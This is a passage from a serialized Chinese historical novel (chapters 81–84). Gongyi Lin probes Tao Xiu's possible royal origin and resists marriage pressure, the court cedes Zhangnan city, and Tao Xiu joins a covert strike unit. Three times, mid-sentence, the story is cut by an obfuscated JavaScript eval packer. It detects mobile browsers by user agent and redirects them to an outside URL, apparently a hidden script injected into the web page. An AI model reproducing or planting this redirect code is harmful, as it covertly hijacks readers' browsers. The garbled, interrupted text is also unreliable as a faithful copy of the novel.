萧颐道:“确实是一刀斩断脖子。世子的尸体装在麻袋里,解开绳子先滚出来的是头颅,天气炎热,四天时间就已面目全非。王妃认出世子的衣裳和饰物,抱着腐烂发臭的尸体哀嚎至天明,我虽没见过那场面,闻之足以落泪。” “如果世子还活着,今年也十九岁了。”公仪林本猜测陶修的身世和失踪的世子有关,既然确定萧琢已死,之前的猜测就显得格外滑稽荒唐,确实,九岁就想尽办法活下去军户出生的陶修怎么可能是江陵众星捧月天之骄子萧琢,不可能。 萧颐也惋惜道:“堂兄五岁就没了,上天都没给他展露自己的机会,旁人口中都说他极爱读书,伶俐聪慧,三皇叔为人风流儒雅,我想萧琢也不会比他差到哪里去,看如今的萧蕴就能明白。” 公仪林又随意问几个关于萧琢幼时的趣事,萧颐摇头说自己当时太小无法再记得其他的。就在此话题要结束时,公仪林忽想起陶修那枚黑玉麒麟章,并没抱任何期待地问:“萧世子有小名没有?或是父母才会唤的乳名。” “他是三皇叔的掌上明珠,听说长辈都唤他麒麟儿,这个我无法太肯定,但我能向父亲求证。” “麒麟儿?”公仪林感觉脊背一阵酥麻,浑身都抖了一下,酒盏在他手中被勒出咯咯声响,一把按住萧颐的手臂问:“还有没有其他名字,他读书外还喜欢什么,篆刻呢,应该也擅长吧?” 公仪林十岁刚结识陶修时,就见他从小寺庙领佛头回来雕刻,他没有拜过师却能把佛头雕的栩栩如生,若不是记忆深处的本领,他不至于聪明至此。 公仪林反应很大,从席上爬起往前挪身的动作把萧颐惊的一愣,“右卫将军,你……”他很想问句:“为何感觉你关心萧琢的样子比我还甚?” 公仪林缩回身体坐正,捋平衣裳,抬眼淡然一笑,还是刚才的问话:“萧公子仔细想想,萧琢还有无其他小名。”慎重起见,他还不敢轻易暴露陶修的存在。 萧颐面露难色,撑着额头细想听来的关于萧琢的每一件事,实在没有能相告的东西了:“右卫将军直接问我父亲吧,他之所以不愿提,一是早夭的孩子被提起会带来晦气,二是,那确实是件不忍回忆的惨剧。” 公仪林摆手笑拒:“不必,我好奇心重,就爱挖旧事,萧公子不要见笑。来喝酒,你给我们讲讲江陵都有哪里好玩好吃的,若有机会,谁说就不能去一趟?” 宴席结束后,公仪林还坐在挂满灯笼的绒花树下,目光看似落在收拾杯盘、残羹的冰清玉润四人身上,想的却都是陶修的身世,他从中挖出一条很重要的线索,那就是辛南佐。 辛南佐把一个夭折孩儿名字“赠”送给陶修,究竟是不是巧合,如果不是巧合,那辛南佐的来头一定非常重要,他可能知道关于陶修身世的秘密。 但胡乱猜测各种可能前,他必须确定陶修一定是萧琢,考虑到陶修的安危和避免岳阳王府出现震动,陶修的存在还不能透露给萧家的任何一个人。 81.乱糟糟的亲事 天顺元年八月,豫章王陈明聿和武平公主重回东扬州,返程那日,陈明聿有种劫后余生的痛快,终日活在圣上和朝臣的猜忌中险些让这个适合驰骋沙场的血性好男儿憋屈至死,一旦回到东扬州,如鱼得水,那才是他的江河他的天下。 武平公主陈千越,失去疼爱她的父亲后决定跟着二哥回到熟悉的东扬州。长长的护送队伍在岔路口稍作停留,她透过帷帽的轻纱凝望马背上的年轻将军,胸口有一瞬的闷痛,心仪的男子就在身边,正神情凛然盯着前方,连一个侧首惜别都不肯给她,装作什么都不知道的样子。如果父亲在时,她坚持选定公仪林,此番又是哪样光景,可能就不必再跟着二哥离开京师了。 豫章王离开建康后,建安王一如以往,像个乖顺的孩子,跟在一群德高望重的朝臣中间按时进太极殿奏事议事。他在暗处的鬼祟行为比圣上和豫章王表面上的不和更为可怕,无切实证据前,公仪林暗中将他和谋士田敬归入对圣上威胁最大的头号敌人。 八月已是初秋了,先帝的丧仪结束、新帝登基、萧钰投诚、豫章王平稳离京一系列大事结束后,浑身松懈下来的公仪林突然发现离上次去京口已过去四个多月,天气又回到怡人凉爽的时候。 他现在的身份和身负的职责已不允许他随心所欲离开王宫或是帝都,更别说进出军营,唯恐被人安上一个与镇南大将军密谋的罪名。 那日秋高气爽天蓝云白,他和陆颢各抱一张竹席躺安清楼的大院中,枕着双臂仰望一座座山似的白云从南向北浮游。安清楼是宫内部分禁卫军休息、换值的楼,他们无事时就大院中擦枪磨刀、山南海北的吹牛。公仪林把欲去京口一事随口跟陆颢提了一嘴:“我想再去京口会挚友,苦于找不到理由出去。” 二人共事两年,有事则相帮,互相照应,结下无话不说的深厚情谊。 陆颢当真替他想主意,盯着翻腾浓厚的白云想了片刻,一本正经地说:“我有个堂妹,年华二十,秀外慧中,要不你娶她为妻,借陪她外出游玩培养夫妻感情为由途径江矶营,他人对你有再深的敌意也不能在你陪妻游玩散心时下手。” 公仪林转头眯眼瞧他,确实是和他为人一样的严肃正经口吻,但其嘴角的浅笑又显露他的诡计多端。 “多谢你为我出谋划策。”公仪林白他一眼,对着湛蓝的天长叹一声。 “想招你为婿的士族那么多,我是为堂妹近水楼台先得月。” “替你陆家打算盘呢。我啊,这辈子恐怕不能让你们如愿咯!”他闭上眼惬意地晃着翘起的两腿,悠悠道一句。 这两年陆颢也细致地观察过他,此人虽还年少,但毛都没长齐就成婚有家的男子比田里的牛都多,从任意一户人家都能抽到十五岁就结婚的男子,甚至还有父子走一起像是兄弟的,那些人成家可以说是盲从的繁衍后代,公仪林除此而外,还有延续他们庞大家族命脉的责任,与那群人比,他更该在两年前就抱上儿子。 公仪林与李颂之流在一起混两年,李颂那种男女通吃的风流人都没能把他拖到水里,听说他还是个童子身。 陆颢用他多吃几年盐的经验把公仪林全身上下扫视一遍,眼光默默落在他的腹部更朝下点的位置,眼神有点复杂,眉头紧皱。 公仪林见他怜悯的目光不但一直盯着自己裆部,还有求证的意思,倏地跳起来,用任何一个男人都无法忍受此侮辱的暴烈态度辩解道:“姓陆的,你在瞎想什么?立即把脑子里的想法给我掐回去,要是这种不利于我的流言蜚语在兄弟们中间流传,看我不宰了你。” 陆颢哈哈大笑:“急了,急就对了,你的反应果然很男人,急就说明我确实多想了。要是我堂妹长得差我也不敢跟你提,可以考虑考虑。公仪家和陆家都是百年大族,祖上还从未联过姻,像我们这种在王朝几次三番倾覆更迭中还能生存下来的大族,终究会有被替换的一天,你我两家何不抱团巩固一下?” 公仪林把铺在地上的席子迅速卷起来准备走人:“你心里也明白,终有繁华落尽的一日,何必把大任担在自己身上。”夹着席子走了几步,又驻足转身,盯着陆颢笑说:“下次再提你堂妹,要不你来和我联姻。” 待他走远,陆颢才指着他笑骂一句:“谁之前还喊我大哥呢,有这么跟大哥说话的?要不是你官大一级,我得好好说教说教。” 没等公仪林想到去京口的理由,突然收到汝丘的信函,他两年不见的父母将来建康。这两年他把对故土的思念藏在心里,以兄长公仪檀为榜样,在定时回复的家书上从不言想家一事,弄得公仪夫人频频对丈夫抱怨:“好好的两个儿子,一个远在醴县,一个被你撵去建康,我若有个闺女在膝下讨我欢心,我也不在你面前念叨,生了他们俩跟没生一样,可做母亲担忧他们的心却丝毫不减。” 公仪曲耳朵听出茧,一拍桌子放出豪言:“明日就带你去看儿子,你选,先去看谁?” 公仪夫人用帕子擦掉左右两滴泪想了下:“先去看二小子,他没家没口的独自一人在建康,我不放心。” 所以,只比书信迟一天就到达京城的公仪夫妇的此趟目的十分明确,他们要让二小子“有家有口”。 当公仪林从宫中赶回无名小院时,父母二人已拜访过另外一个公仪大府回到他家中。公仪老夫人仔细走完小院前前后后,以批评和指点的态度不断对无名小院里里外外提出自己的建议,诸如院子虽打理的好但是缺个持家的女人、司子虽看着公子长大终究不能嘘寒问暖、公仪林衣裳虽多但杂而不精身上缺少女人给他搭配衣物的美感、公事虽忙家中却空虚冷寂……处处都在提醒公仪林,这院子少个女主人。 才两天,公仪林耳朵也起茧了,指着忙忙碌碌的冰清玉润四人道:“她们不是女人吗?” “你这孩子装糊涂,这怎么能相同。袁家的姑娘今年又长一岁,袁老爷今年和旧年来过四趟,我们再不给准信……” 公仪林绝没想到有一天面对必须成婚的压力竟比守卫王宫还大还难,几天下来听得身心疲惫。 公仪夫人来此的第十天,已将公仪林必须回汝丘和袁家姑娘成婚的“战火”烧到另外的公仪府。在家族的宴席上,公仪林已然成了众人谈论的中心,七嘴八舌拿他婚事作话题。 公仪鸾 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12986626|123338||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不紧不慢摇着扇子看好戏:“看你还如何拖延,还敢取笑我拖家带口,你也有今天。” 最终是家族的威望、朝中的重臣、年岁上的泰山公仪达开口替他解围:“槐序还年轻,成婚一事不急。汝丘袁氏姑娘这门亲事有没有退掉的可能?” 公仪曲道:“其实他和袁氏姑娘并没有正式定亲,两家在许多年前玩笑过一句。槐序在这里虽有兄长教导,但如今他独自住了出去,我们只是想他早日娶妻身边能有人与他相扶相携,不致我和他母亲牵肠挂肚。” “既然是玩笑就不必当真,你回汝丘后和袁家说清楚。蒙先帝厚恩,槐序年少就已从东宫左卫率升任至王宫右卫,肩担护卫王宫的大任,就先让他无后顾之忧的磨练几年。” 说到这,公仪林向伯父投去感激的眼神,结果又听他说:“再过二三年弱冠,我来给他选个般配的门楣,不知你们夫妻二人放不放心我的眼光。” 公仪曲朝公仪达感激道:“有兄长亲自挑选,我还有什么不放心的。槐序的事就任凭兄长做主。” 坐在公仪曲身边的公仪夫人面色平静,对此提议没有任何表态,私心还是希望次子像长子那样,挑一位情投意合的姑娘,公仪达行事一向以维护家族地位为前提,他给槐序挑的女子不一定是槐序喜欢的。 公仪林见家族的任意一人都将他的婚事看得无比重要,这一刻才明白陶修不肯与他讨论将来的原因,陶修想的比他长远。 他盯着宴席上每一张族人的脸,其乐融融欢声笑语,也是第一次发现在朝堂的地位与公仪家族牵连之重,权力越高,责任越大,好像他的一言一行都牵连着家族的每条人命,他很羡慕公仪檀,远在醴县做他的县尹,为百姓做力所能及的事。 从公仪府回到无名小院已是晚上。公仪林洗漱时见窗外月华如水,天地透彻通亮,又是一年的仲秋节,夜间凉意大了些,将圆的月亮高悬天幕,透着淡淡的孤寂,和陶修倚在草庐赏月都是两年前的事情了。 他走出屋外坐在绒花树下对月思念,这种相思堵塞在胸,哀婉忧愁,无人可诉,不知此月所照的京口大营中,那人此时又是哪种思绪。 公仪曲夫妇在建康住了半个月,把叮嘱的话不厌其烦说过五遍后准备启程再去醴县看望长子和唯一的孙儿公仪佑。 登上马车要离开前,公仪夫人边替已稳重成熟的儿子重系衣服上的衿带,用缓慢柔和的语气说:“回去后我会跟袁家说明白,你不用担心那边。若你大伯真要为你定亲事,你喜欢就应下,不喜欢就果断的推掉,不要为所谓的家族勉强自己,我儿子从小就无忧无虑,怎能后半辈子反而还不开心。” 公仪林感激母亲的理解,他轻轻抚摸她腕上戴了十几年的佛珠,抿唇笑道:“母亲,替儿子在佛祖前发愿吧,愿我能和喜欢的人在一起,不要有任何磨难。” 马车缓缓启动,他挥手对母亲喊道:“一定把我的礼亲自交到佑儿手中,就说他二叔惦记他,盼着他成人成才。”他在马车消失在岔路口后,心里暗暗自乐:“公仪佑,你二叔要把家族的未来放你身上了,可别怪我胸无大志碌碌无为。” 82.我真不会写字 站在身后的司子抹着眼泪,哭的难舍难离。 公仪林正自责与父母的感情还不及司子时,只听他说:“公子,家君、夫人没来时,我在这里两年也没想过家,可是他们亲切的乡音把我思家的心绪都勾了出来,这心里很酸,想家,是真的想家。” “想家就回去看看吧,你两年不见孩子,思乡之情更甚,我准你假了。” 公仪夫妇刚走没两天,司子就收拾好包袱回汝丘了。 八月的仲秋节已过了几日,天气凉爽,桂花飘香,是个极适合拜访友人的时节。就在公仪林跟禁卫军的左卫蒋授提出要休沐一段时间并向圣上如实说出去京口拜会友人一事时,一封从天安郡夏水传来的羽檄搅乱看似平静的朝堂。 陈明俨颤抖双手展开羽檄,一口气看完急报后环视朝堂左右的文武大臣,紧张不解地问:“陈、周一向秋毫无犯和睦相处,周为何会突然出兵夏水?” 中书监公仪达道:“自去年冬,萧钰投诚大陈的消息泄露出去开始,周国就怒火难遏,上个月萧钰正式出镇郢州刺史后,周正是由此出兵并试探大陈的底线。” 天下暂时的太平,陈明俨终于释放了他当太子时竭力压抑的喜好——吟诗作赋,曲水流觞。这几个月来,他时常和朝中才华出众的文臣或江东有名的文人雅士聚集在仙阁中寄情诗酒,对于夏水的突发状况,他毫无应对经验,紧蹙眉头沉默片刻后,犹疑不定地试问大臣:“如果周国出兵的借口是萧钰,那,那朕撤其军职、免官削爵,你们以为如何?” 公仪林难以置信地看着高高在上的一国之君,若不是亲耳听见,他绝不相信圣上能说出这种背信弃义、侮辱臣子的话。 立即有人站出来激烈地反对:“陛下,去岁萧钰递来密信时,先帝曾与我们这些老臣讨论过。萧钰的封地天口、巴州几地在荆州之北,周若真的出兵必须经过荆州,梁国虽小,与周还未到撕破脸的时候,怎能容忍周大军借道荆州而不做抵抗。先帝正是因此才答应萧钰投降大陈的啊。周此次从信州的陨山小县出兵不到五万进攻夏水,明显是在敲山震虎。”说话的人是右仆射陈颛。 夏水隶属大陈的天安郡,而天安郡与周国的信州比邻,这次出兵明显绕开了梁国仅作试探。 公仪达接着回复道:“陛下既接纳了萧钰,巴州等地就是大陈疆域,百姓就是大陈子民,如今萧钰羽檄入京求助,陛下该思虑如何解夏水之困,而不是将诚心纳降的萧钰当成任意丢弃的棋子排除在外。” 圣上为刚才的懦弱无能羞愧不已,挪动屁股坐正身体,微抬下巴问朝臣:“众位卿家,夏水之危该如何解?” 对外已有四五年未动干戈了,突起的战事令文武大臣意见不一,有人提议雷霆一击震慑周国,令其不敢小觑对手,有人说国丧期间圣上的帝位不稳不宜立即发动战争,两国该以和谈为主。 陈明俨立即抓住用平和的手段解决此次事端的提议,他望向坚持和谈的都官尚书杨弘易,满脸喜色地问:“杨尚书有什么好的办法?” 杨弘易信步上前,朗声开口:“周无非是气原本该是他们囊中之物的萧钰封地轻易归我们所有,现在周北方的突厥才是他们的心头之患,从陨山小县出手足见他们也不敢将战事打大。前年镇南将军卢思苌从周国手中攻下漳南小城,此城位处江北的寿阳之西,三面都是周国疆土,唯独漳南孤零零一座城是我大陈将士在守卫,每年坚守此城要投入大量人和财,要在周国的疆土内守住漳南城,委实是件十分艰苦又捞不到益处的事。” 周与陈划江而治,南北界线分明,江北唯有历阳、合肥两大重镇及零散的几座城池归陈所有,依傍着京口的两大军营和历阳的历阳大营的保护,两国接壤处经常发生小规模争斗和攻城掠地。 杨弘易口中的漳南县是卢思苌两年前又向北推进的战果,离京口的水师大营较远,孤零零被周的城池包围。这座深入周皮肤下的孤城既强烈表明陈对旧地的拥有权又透露出陈山河日下的萧条。 杨易弘提到卢思苌时,公仪林已心中一惊,又见他提议割让城池给周国,一句话就可能把战火引至京口,他怒而从武官的班位走出来指着杨易弘喝道:“杨尚书是何居心,卢大将军率领将士九死一生夺回漳南,此事在当时举国震动,为大陈向江北艰难挪动一步而兴奋,众人都在为向江北拓土而努力时,你竟然要陛下将此城拱手相让,难道你是周派来的奸细吗?” 杨弘易转身看向他,嘴角扯出细长的假笑,问:“公仪将军年纪轻轻又一直在这都城做右卫,你觉得打仗是容易还是不容易的事?仅用一座小城就摆平一场战事,挽救数万人性命,难道不值得?”他最后一句质问声很洪亮,足以令百官的半数人选择站在他那一边。 在两派吵吵嚷嚷争辩中,陈明俨点头承认杨弘易以万民生计为前提的想法,比反对他的人更仁慈更体恤百姓,仅以一城就换来和平安定,陈命俨认为这场交易很划算。 紧紧一个月时间,从周手中夺回两年的漳南再次丢失。 周得到城池后以“礼不伐丧”冠冕堂皇的借口迅速从夏水退兵。 漳南城割让给周的消息传到京口时,卢思苌立在当年跟随吴大将军南征北战的驰龙舰上迎着江上的大风悲痛不已。夺回淮南之地是国人许多年来殷切的期盼,也是先帝在世时的夙愿,吴大将军也因此马革裹尸。卢思苌敬佩恩师吴将军的雄韬武略,追随其脚步,几年来在江北一城一池蚕食似的夺回的旧土却拱手让于人。 他一掌拍在船舰的厚壁上,一层浪猛地扑向大船底部,溅开雪白清冽的浪花,“难道我手中的这些男儿都是贪生怕死的?”他的声音有点无能为力的沧桑。 飞燕营的大将李长风跟着叹息道:“圣上和先帝的胆识气魄完全不同,不战就退缩,这恐怕只是个开头啊。” “若圣上无向北思进的决心,我们空有一腔抱负又有何用?”卢思苌突然转身望向李长风,眼中透着沉着冷峻:“漳南城是我将士一刀一枪夺下的,我绝不会让它再度丢失。漳南的西北五十里就是寿阳,没有漳南这块跳板立足,攻下寿阳谈何容易。” 李长风统领飞燕营的军事,与卢思苌虽是上下级,更像多年老友,他明白卢思苌此刻的悲痛,也看到他眼中的抱负和难灭的怒火,坚定地回道:“李长风愿追 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13006547|123338||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 随将军。” 两位老将站在曾经辉煌一时的战船上,发誓要让这条驰龙在当初的航道中再次肆无忌惮的穿行。 * * * 自公仪林匆匆赶回京城,陶修一连四五个月没有收到他的任何消息,细说起来,此人擅长“凭空消失”的本领从小起就已显露过苗头。 想起十二岁那年与他在秋天相别,再见面已是五年后,刚碰头他就装作熟络得好像五年间从没忘记过彼此,还有前年两人在汝丘兵营外分开,他就像只放归山林的野物,迅速失去联系。 这回也是如此,说不联系真就一点消息都不给,“好像吃亏的是我,回回分开他还痛苦成那样!”下回见面,他得提醒他,这世上还有一种书信可以互通彼此近况。 这几个月发生不少大事,最大的莫过于先帝驾崩。陶修常忧虑公仪林的处境,他不甚熟练的武艺和年轻稚嫩的官场经历,想必在一群心怀鬼胎各自为营的宗室、朝臣中混的尤为艰难。倘若新帝即位时出任何差错,他都将身处难以想象的危险中。 好在公仪林走后没多久就从都城传来新帝顺利登基的消息。 转眼已是九月,秋日大江两岸景色宜人,既没有春日的温腻又不似夏日的炽热。营中又有人收到家书,收家书的人炫耀似的当着同袍的面把信中可以诵读的部分高声读出来,与众人分享流水细长的家长里短,听者仰头凝神,仿佛在听自家的事。 陶修和张城蹲在树下也竖起耳朵,和那群听家书的人一模一样的神态,信中无非就是家中一切安好、孩子个头长了、养了头猪之类,无大起大落的事,却朴实的令听信人心中踏实。 张城右手撑头躺在地上歇息,从凝神聆听的陶修眼中看见羡慕的眼神,伸腿踢了他的手臂,问:“瞧你这认真劲,信里多收的一旦粮食又不是给你家收的,乐什么呢?” “我在想,这信是不是一定能送到本人手中,万一途中淋雨糊了字迹或遗失,岂不是浪费写书人的一番心思。” “听你的意思,你是想写信?写给谁?你家小妹?” 陶修轻笑道:“我不会写字。” 张城听了这话又把他上下打量一遍,动动嘴角,把想说的话又咽下去,感同身受道:“不会写字无妨,我也不识字。你要真想写信就找旁人写,把你想说的都告诉他,会给你写的漂漂亮亮。”说完又细想一下,问:“我见你看过兵书,为何不会写字?” “识字是公仪林所教,只能认,并不会写。上回小妹成婚,我自信满满写回帖,一封帖子写错八个字,实在汗颜,此后不敢再拿笔闹笑话。” “你还真不像是不会写字的人。”张城嘀咕一句。 太阳从枝杈间投下数道明亮的光线,在二人身上落满宁静祥和的光斑。在秋收前这段时间算得上是一年中舒坦的日子,没有春夏季繁密的调练,气温也舒爽,张城把周边掉落的树叶搂到一起枕在头下,舒展四肢直接睡在地上,刚闭目感叹一句:“得道成仙的日子也不过如此吧。” 忽听到沧澜小营传来几声鼓响。二人听出是集合的鼓点,从地上一跃而起,拍拍身上尘土迅速赶去集合。 83.威锋幢的任务 身穿铠甲的卢思苌站在点将台上,身后是段泽及几名书佐、詹士等随从官。陶修预感将有大事发生,在此平静普通的一日。 几百人的队伍集合的很快。卢思苌走下点将台在队伍中走了几步,这群人都是健壮彪悍的年轻人,有的体格虽魁梧,脸蛋却很稚气,是一群很容易被鼓动的热血男儿。他返回点将台,叉开双足,左手扶剑右手撑腰,对年轻人喊道:“大陈到了用人之时,你们愿不愿抛头颅洒热血,敢不敢豁出性命为亲人争份光耀门楣的战功?” “敢——”异口同声的高喊震耳欲聋。 “江北的漳南城已失去,明天丢掉的就是此刻你们踩在脚下的土地,是要洗净脖颈等他们拴上链锁带回北方世代为奴,还是跟着我捍卫大陈的寸寸疆土!” “誓死跟着将军——” 他们尚不知等待自己的是哪种军令,但振奋的高喊一声高过一声,在秋日午后明晃晃的白日下震动人心。 段泽盯着自己一手调教出来的几百将士,没有卢思苌激励众人时的慷慨神色,用平静浑厚的语气对这帮斥候喊话:“我要从你们当中挑选一批能力出众者为卢大将军调遣,任务艰辛,更会有生命危险,有自告奋勇者吗?” 众人都晓得直接效命在卢思苌麾下更有前途,纷纷嚷着即刻就死也在所不惜。段泽看着他们天真的脸,像功勋就在眼前,只要他们伸手捞一把就能脱颖而出摆脱贫贱的身份。 这次暗杀行动,选中的人都会有去无回,段泽对将士们的热情有些不忍,暗示道:“真的不怕死吗?” 死亡,是种终极的效忠方式。这些训练有素的斥候,一面想进入卢思苌麾下,一面要剖心挖肝以表自己的忠心,都把段泽的暗示当成激励,没有一个肯退缩的。 陶修见去年受重伤的许图陵喊得脖子通红,撸起袖子挥拳要加入“能力出众”队中,看来身上抡的几刀还没吓退他。陶修和张城一前一后的位置,私下讨论道:“你觉得会是什么任务?” 张城从卢将军亲自站在点将台上喊话众人推断,绝对是机密任务,低声玩笑道:“会不会让我们去刺杀周主?” “我宁愿相信要杀的是贺功臣。兄弟们的仇不知何时能报。” 去年差不多也是这个时候,十几名兄弟被暴尸在熊威营的江面上,尸体在风雨中晃荡九个月之久,直到绑在他们脖子上的绳子腐烂断掉,尸骨才被卸下胡乱丢在江边的浅滩中。张城的脸色瞬间变得冷峻,狠狠说道:“我想杀的就是贺功臣。” 段泽抬手示意沸腾的人群安静,大声道:“你们都是江东好儿男,也知道你们建功立业的热情和决心,没被我挑选中的人,往后会有很多机会等你们效力。”他命站在卢思苌身后的书佐高声宣读册子上的名字。 每读出一个名字,队伍中就有一声浑厚的应答传至四面八方。周石听到自己姓名后隔着三条队伍朝陶修举拳庆贺,得意地挑眉,用夸张的嘴型朝他示意:“干吧,兄弟。” 书佐宣读期间,队伍很安静,陶修低头望着脚旁一株刚破土的细嫩青草,凝神辨听自己姓名,他听见武元义和张城被点中,还有许多常玩在一起的同袍一一被点到,直到书佐合上册子令选中的人出列,他才慌忙转身问张城:“你听到我名字没?” 张城急着出列,匆忙回他:“我没听到,是不是弄错了,解散后我跟你去找段校尉。” 约有两百人被选中,他们组成的新队列井然有序,个个英姿飒爽,任谁都明白这是特别挑选出来的人。陶修忍耐至队伍解散,寻棵树坐下等着,等段泽给新队列训话完毕。 许图陵看见他的身影,用微瘸的左腿跳着走过去,吃惊地问:“没选中你?” “没有我,你方才有没有听到我名字?”他再次确认一遍。 许图陵朝他左边一坐,拍拍受过伤的大腿道:“我比你还紧张,以为段校尉能对我刮目相看,全程都在听自个儿名字,哪还有心思留意你。”他抬手指着英姿勃勃的两百人,嗤了一声:“他们都不如你,其中必有缘故。是不是段校尉有特别的事让你去做?” 他伸在陶修眼前的是一只消瘦的手臂,自那次受伤,许图陵元气大伤,无论如何都无法恢复到从前的体格,沧澜队训练时他几次体力不支瘫软在场上,夏季的一次水中训练险些沉在江水里没上来。段泽想将他转入无需拿兵器的后勤部队,他在校尉的帐外站了整整一天,痛哭流涕要留在沧澜。段泽最终是答应了,但联想到之前拼命想加入沧澜还在他面前扛起大石头的周石,段泽忍不住咬牙切齿骂一句:“都你娘的是犟种。” 陶修对他的身体状况有些担忧:“这次的任务绝对非同小可,你留下养好身体,以后有的是立功的机会。” 许图陵仰靠在树上,叹口气道:“我是不是没有作用了?别看我平日嘻嘻哈哈,手发抖握不住刀时我也很害怕,怕被踢出沧澜队,怕没了价值。” “回到故乡,该种地种地,该烧窑烧窑,做你的老营生不是更好?” “话虽如此,你又为何这么在乎有没有被选中,明知道卢将军下达的任务都是九死一生。我跟你一样,在这里待久了就想找准自己的位置,一旦被人否定会很慌张,无所适从。谁爱打仗啊,谁都不愿打仗,既然必须面对战争,看见你们都在这残酷的环境下活下去,我好像被你们从圈子里抛弃了。” “图陵,你想的太多了,万一真到不能上战场那一日,你要明白,安居乐业平平淡淡活着才是我们原本真正该拥有的东西。” 两人靠在树上一直等到落日偏西那支队伍才解散。陶修拍拍许图陵的肩膀叮嘱道:“天冷了,你快回去。”说完就朝段泽的背影猛追过去。 段泽跟在卢思苌身后,跟卢将军解释训练这批年轻斥候时的习惯和口令等事项,忽听见身后有人追上来,大声道:“段校尉,我有事想问您。” 一听见陶修的声音,段泽就知道又来一个犟种,转身不等他开口就厉声拒绝:“是不是问你没能选中的原因?这次任务不需要你,留在沧澜,我自然有用得到你的地方。”他冷脸从陶修身上扫过。 这话让陶修无法继续追问,毕竟段校尉没说他不够格,也没说不会派给他其他任务。欲言又止地立了片刻,刚要顺从地转身回去,卢思苌叫住他:“陶修?” 陶修惊讶地抬眸,没想到时隔一年将军还能记得营中的小士兵,慌忙行礼道:“正是小将陶修。” 卢思苌让段泽等人先行,才跟陶修说:“跟我来。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13022184|123338||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 陶修默默跟在大将军身后不敢言语,一路无话。快要走到海定楼时,卢思苌像是突然发现身后有人,停下脚步转身问:“上次公仪林来探访的旧友就是你?” “对,是我。” “如今公仪林已被擢升为宫城右卫,你认识这样的人物,关系匪浅,为何还要留在江矶营做斥候?” 这可能是关乎尊严一事,而尊严于穷人而言却又最不值钱,但陶修从骨子里不愿像弱者一样躲藏在公仪林的羽翼下被人指点靠色相谋职,或许这些都是次要,他只是想与公仪林保持一种对等的关系,毕竟与公仪林之间的关系还没到至死都不会反目成仇的地步。 “大将军,公仪公子与我是同乡旧友,他曾几次想要帮我脱离军籍但都被我拒绝了,大将军就当是我不愿受他恩惠,我想凭自己的本领在营中立足。” 卢思苌面色严峻,沉沉地盯着他:“想在军营出人头地,跟寒人企图越过大族做官一样难,军营不乏靠自身出色的才干提拔上来的将士,但你在营中混上十年八年可能都不及公仪林的一句话。” “我不在乎,只要将军能给我一个公平的机会,陶修一定不会让将军失望。” 卢思苌思忖片刻,用长辈的慈祥口气说:“好,明日你跟他们一起来我威锋幢报道。” “多谢大将军。” 陶修从海定楼返回沧澜小营,张城和周石已等在路边,一见了他就都跳出来关切地问:“怎么样,是漏了你的名字还是有其他原因,你直接找的卢将军?” 刚才的虚惊一场让陶修很紧张,他将两臂舒展运力,缓了口气说:“这事和公仪林有关。大将军见我和公仪林相识才没选中我,留我一命。”他盯着二人的脸,仔细观察他们的表情:“你们要有心理准备,这意味着我们可能会死在这次行动中。” 周石觉得眼角和腮颊的肉颤动不可控,呆立原地呐呐自问:“我能不能退出,我儿子还小?” “段校尉再三暗示是不是不怕死,你却当敞亮话在激励你?现在想退出迟了。”张城一把搂住周石,笑着激将道:“空长了这体格,我早看出你怕死了。” 周石一把掀开他勒在脖子上的手臂,用铁锤似的拳头朝他抡过去:“你说谁怕死了?”三拳抡空,周石突然暴躁起来,两人脸红筋爆掐在一起像斗角的水牛,一动不动。陶修将二人撕开,对周石道:“三言两语你就被激怒,近两年的训练都不能克制自己的冲动。刚才的话我收回,都是我的推测唬你们玩。如果真的不愿留在威锋幢,是一定能退出的。切忌冲动行事。” 周石掸掸抓皱的衣裳,粗声粗气道:“我没说我要退出!” 从沧澜队转变为威锋幢,仅仅是改了队伍的番号,人,还是那批相熟的面孔。第三日,终于有关于这次行动的少许风声透露出来。 武元义因上回火烧熊威营有功,被提拔为沧澜小营的队长,手下约有五十来名士兵,这次调动后他清点归他掌管的人数,有十八人一起被挑来了威锋幢。那晚快要就寝时,几个关系透熟的都聚拢在武元义跟前,向他打听知道的情报。 武元义把知道的消息仅讲出两分真:“漳南城有我们的叛徒,此次行动只有一个目的——诛杀彭枝礼。” 84.周石说你可怜 众人面面相觑:“彭枝礼是何人?” “漳南县县尹。” “县尹身边又不是无时无刻都有人持刀护卫,杀他何须这么多人?” 武元义把牙齿磨的咯噔噔响,还是把要说的话咽了下去,干脆简洁地说:“杀他必须成功,为确保万无一失,我们这些人会分开行动,行动时听候调遣就是。” 